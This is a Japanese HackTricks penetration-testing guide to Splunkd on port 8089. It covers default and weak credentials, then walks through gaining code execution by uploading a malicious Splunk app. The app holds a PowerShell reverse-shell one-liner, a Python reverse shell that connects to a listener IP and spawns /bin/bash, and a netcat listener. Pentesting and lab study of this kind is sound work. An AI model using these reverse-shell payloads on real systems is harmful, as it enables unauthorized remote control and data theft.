# 8089 - Splunkdのペンテスト
**htARTE(HackTricks AWS Red Team Expert)** **htARTE(HackTricks AWS Red Team Expert)**を通じて、ゼロからヒーローまでAWSハッキングを学ぶ!
HackTricksをサポートする他の方法:
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する。
## **基本情報**
Splunkは**ログ分析ツール**であり、**データの収集、分析、可視化**において重要な役割を果たします。最初の目的は**SIEM(セキュリティ情報およびイベント管理)**ツールとしてではなかったが、**セキュリティ監視**や**ビジネス分析**の領域で人気を博しています。
Splunkの展開はしばしば**機密データ**の保存に利用され、システムを侵害することに成功すれば、潜在的な攻撃者にとって**貴重な情報源**となり得ます。
**デフォルトポート:** 8089
```
PORT STATE SERVICE VERSION
8089/tcp open http Splunkd httpd
```
{% hint style="info" %}
**Splunkウェブサーバーはデフォルトでポート8000で実行**されます。
{% endhint %}
## 列挙
### 無料版
Splunk Enterpriseトライアルは**60日後に無料版に変換**され、**認証が不要**です。システム管理者がSplunkのトライアルをインストールして試すことは一般的であり、**その後忘れ去られる**ことがあります。これにより、認証のない無料版に自動的に変換され、環境にセキュリティホールが導入されます。予算の制約により一部の組織が無料版を選択することがあり、ユーザー/ロール管理の重要性を十分に理解していない可能性があります。
### デフォルトの資格情報
古いバージョンのSplunkでは、デフォルトの資格情報は**`admin:changeme`**であり、ログインページに便利に表示されています。\
しかし、**最新バージョンのSplunk**では、**インストールプロセス中に資格情報が設定**されます。デフォルトの資格情報が機能しない場合は、`admin`、`Welcome`、`Welcome1`、`Password123`などの一般的な弱いパスワードをチェックする価値があります。
### 情報の取得
Splunkにログインすると、**データを閲覧**したり、**レポートを実行**したり、**ダッシュボードを作成**したり、Splunkbaseライブラリから**アプリケーションをインストール**したり、カスタムアプリケーションをインストールしたりできます。\
コードも実行できます: Splunkには、サーバーサイドのDjangoアプリケーション、RESTエンドポイント、スクリプト入力、アラートスクリプトなど、**コードを実行するための複数の方法**があります。Splunkサーバーでリモートコード実行を行う一般的な方法は、スクリプト入力を使用することです。
また、SplunkはWindowsまたはLinuxホストにインストールできるため、Bash、PowerShell、またはBatchスクリプトを実行するためのスクリプト入力を作成できます。
### Shodan
* `Splunkビルド`
## RCE
### カスタムアプリケーションの作成
カスタムアプリケーションは**Python、Batch、Bash、またはPowerShellスクリプトを実行**できます。\
**SplunkにはPythonがインストールされている**ことに注意してください。そのため、**Windows**システムでもPythonコードを実行できます。
[**こちら**](https://github.com/0xjpuff/reverse\_shell\_splunk)のSplunkパッケージを使用して、手助けを受けることができます。このリポジトリの**`bin`**ディレクトリには、[Python](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/rev.py)と[PowerShell](https://github.com/0xjpuff/reverse\_shell\_splunk/blob/master/reverse\_shell\_splunk/bin/run.ps1)の例があります。これをステップバイステップで進めていきましょう。
これを達成するためには、以下のディレクトリ構造を使用してカスタムSplunkアプリケーションを作成する必要があります:
```shell-session
tree splunk_shell/
splunk_shell/
├── bin
└── default
```
**`bin`**ディレクトリには、実行するスクリプト(この場合は**PowerShell**リバースシェル)が含まれ、デフォルトディレクトリには`inputs.conf`ファイルがあります。リバースシェルは**PowerShellのワンライナー**になります:
```powershell
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close(
```
The [inputs.conf](https://docs.splunk.com/Documentation/Splunk/latest/Admin/Inputsconf)ファイルは、Splunkに**どのスクリプトを実行するか**とその他の条件を伝えます。ここでは、アプリを有効に設定し、Splunkにスクリプトを10秒ごとに実行するよう指示しています。インターバルは常に秒単位であり、この設定が存在する場合にのみ、入力(スクリプト)が実行されます。
```shell-session
cat inputs.conf
[script://./bin/rev.py]
disabled = 0
interval = 10
sourcetype = shell
[script://.\bin\run.bat]
disabled = 0
sourcetype = shell
interval = 10
```
次に、アプリケーションが展開されるときに実行され、PowerShellのワンライナーを実行する`.bat`ファイルが必要です。
次のステップは、`Install app from file`を選択し、アプリケーションをアップロードすることです。
悪意のあるカスタムアプリをアップロードする前に、Netcatまたは[socat](https://linux.die.net/man/1/socat)を使用してリスナーを開始しましょう。
```shell-session
sudo nc -lnvp 443
listening on [any] 443 ...
```
### Upload app ページで、`Browse` をクリックし、先に作成した tarball を選択して `Upload` をクリックします。**アプリケーションをアップロードするとすぐに**、アプリケーションのステータスが自動的に `Enabled` に切り替わり、**逆シェルが受信されます**。
#### Linux
**Linux ホスト**を扱っている場合、カスタムの悪意のあるアプリを作成して tarball をアップロードする前に、**`rev.py` Python スクリプトを編集する必要があります**。プロセスの残りの部分は同じであり、Netcat リスナーで逆シェル接続を取得し、問題なく進行します。
```python
import sys,socket,os,pty
ip="10.10.14.15"
port="443"
s=socket.socket()
s.connect((ip,int(port)))
[os.dup2(s.fileno(),fd) for fd in (0,1,2)]
pty.spawn('/bin/bash')
```
### RCE & 特権昇格
以下のページでは、このサービスがどのように悪用されて特権昇格や持続性の獲得に利用されるかについて説明があります:
{% content-ref url="../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md" %}
[splunk-lpe-and-persistence.md](../linux-hardening/privilege-escalation/splunk-lpe-and-persistence.md)
{% endcontent-ref %}
## 参考文献
* [https://academy.hackthebox.com/module/113/section/1213](https://academy.hackthebox.com/module/113/section/1213)
ゼロからヒーローまでのAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)!
HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) をフォローする。**
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。